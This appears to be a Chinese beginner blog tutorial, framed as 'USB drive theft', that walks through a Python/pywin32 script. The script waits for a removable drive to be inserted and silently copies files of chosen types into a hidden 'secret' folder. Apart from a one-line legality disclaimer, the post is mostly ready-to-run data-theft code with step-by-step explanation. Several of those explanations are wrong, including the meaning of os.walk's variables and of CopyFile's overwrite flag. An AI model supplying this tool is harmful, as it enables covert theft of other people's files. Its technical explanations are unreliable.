python U盘盗取 入门小白实战教学!!!

未经授权访问、复制或窃取他人U盘中的数据属于违法行为

不知道大家有没有看过电影里面的黑客拿着一个U盘,酷呲酷呲一顿搞之后就插进别人的电脑里,就这样轻轻松松的,神不知鬼不觉的就把别人电脑里的数据盗走了,看的我是一顿羡慕啊,在以前这种技术对于我们小白非常困难的,但是python就帮我们解决了这些问题,让我们这些入门的小白也可以做到,废话不多说直接开始实战教学!!!

学python必安装的一个工具就是我们的pycharm,pycharm是一款强大的高级编辑器,没有的可以私信。

第一步:学python第一步就要安装和导入我们所需的模块。

              今天我们要用到的模块是:pywin32模块,     os模块 (这个是系统控制模块)和 time(这个是时间模块)模块,大家可能对 pywin32 模块有点陌生,我详细讲解一下:

1. pywin32这是一个为 Python 提供 Windows API 访问功能的库,就是针对Windows的一个数据库。

2. 一般我们python下载下来没有自带这个模块需要我们自己去安装,我们怎么去安装呢?

  •  按住我们电脑上的 win键 和 R键 ,调出运行框 ,输入cmd 回车,就可以打开Windows终端了

python U盘盗取 入门小白实战教学!!!_第1张图片

  •  在Windows终端输入:pip install pywin32 就行了。

         

  • os模块 和 time模块是Python自带的就不需要安装。

第二步:导入所需的模块

import os    ----系统控制模块
import time  ----时间模块
from win32api import *  ----windows系统程序应用开发的接口
from win32file import * ----windows系统文件操作接口

第三步:代码讲解:

U盘盗取可以分为:U盘扫描 和 全盘扫描。

  • 先讲U盘扫描:
print('U盘检测中.....')
while True:
    disk_str = GetLogicalDriveStrings()  # 获取计算机的磁盘字符串
    disk_list = disk_str.split('\x00')[:-1]  # 去除最后一个空字符串

    for disk in disk_list:
        if GetDriveType(disk) == DRIVE_REMOVABLE:  # DRIVE_REMOVABLE 表示该驱动器是可以物理移除的,比如U盘、软盘等。DRIVE_REMOVABLE#调用了
            # GetDriveType 函数来检测当前遍历的磁盘是否为可移动磁盘(如U盘)。
            removable_disk = disk.strip('\\')  # 去除末尾的反斜杠
            break      
    else:
        time.sleep(0.5)   ----这里给个时间限制,因为计算机的读取速度非常快得给给时间限制
        continue
    break

为什么要加这个呢: disk_list = disk_str.split('\x00')[:-1]  # 去除最后一个空字符串

  • 这是因为我们在扫描U盘的时候会扫描一个16进制的一个空字符(.split)就是指定删除某一个东西。

这个就是U盘扫描的代码,我们来梳理一下:

  • 用第一行代码获取计算机有哪些磁盘,然后去除16进制的空字符为了减少误差,用for循环遍历我们扫描到的磁盘一一列出来,然后检测看看计算机里面有没有可移动磁盘(因为U盘它本身就是可移动磁盘嘛),如果没有的话就一直循环(这里里我们用 while True 这个是无限循环)下去直到可移动磁盘出现。

这里又分为两种情况

  • 1.如果发现可移动磁盘就用break跳出if判断 else就不回执行  自然就用最后一个break跳出while True循环,就结束我们的U盘扫描了。
  • 2.如果没有发现可移动磁盘就会执行else用continue重新运行for循环,while Tuer 就会一直循环下去,直到发现可移动磁盘才会停止。

  • 全盘扫描:
# 全盘扫描
count = 1
try:
    # Recursively scan all directories in removable drive
    for root, ds, fs in os.walk(removable_disk):  # 使用检测到的U盘路径进行扫描
        # Process files matching target criteria
        for f in fs:
            if f.lower().endswith(('.mp4', '.exe')):  # 检查文件扩展名,忽略大小写
                # Handle file copy operations
                spath = os.path.join(root, f)
                print(spath)
                dpath = os.path.join('d:\\secret\\', f)
                CopyFile(spath, dpath, False)
                print(f'拿到文件{spath},保存到了{dpath}')
                count += 1
# Handle various exception scenarios
except FileNotFoundError:
    print(f"路径 {removable_disk} 未找到。请检查U盘是否正确插入。")
except PermissionError:
    print(f"没有权限访问路径 {removable_disk}。请以管理员身份运行此程序。")
except Exception as e:
    print(f"发生了一个错误: {str(e)}")

在讲解之前得先了解root,fs ds这三个是什么?

  • root:根目录,是系统的最顶层目录,也是最高管理员。
  • fs:文件系统,指操作系统管理文件和目录的方式,通俗说就是文件夹。
  • ds:用于组织、管理和存储数据的结构,通俗说就是文件。

开始讲解:

  • for f in fs: 遍历当前目录下的所有文件。
  • f.lower().endswith((‘.mp4’, ‘.exe’)): 检查文件扩展名是否为.mp4.exe,并且忽略文件名的大小写。

                  注意⚠️:这里你想添加什么后缀都可以。

  • spath = os.path.join(root, f): 构建源文件的完整路径。
  • dpath = os.path.join(‘d:\secret\’, f): 构建目标文件的完整路径,文件将被复制到d:\secret\目录下。
  • CopyFile(spath, dpath, False): 使用win32api中的CopyFile函数将文件从spath复制到dpath。参数False表示不允许覆盖已存在的文件。
  • print(…): 输出文件的源路径和复制后的路径。
  • count += 1: 复制文件的数量增加1。
  • except FileNotFoundError: 捕获路径未找到的错误,并提示用户检查U盘是否正确插入。
  • except PermissionError: 捕获权限不足的错误,并提示用户以管理员身份运行此程序。
  • except Exception as e: 捕获所有其他异常,并输出错误信息。

你可能感兴趣的:(python,开发语言)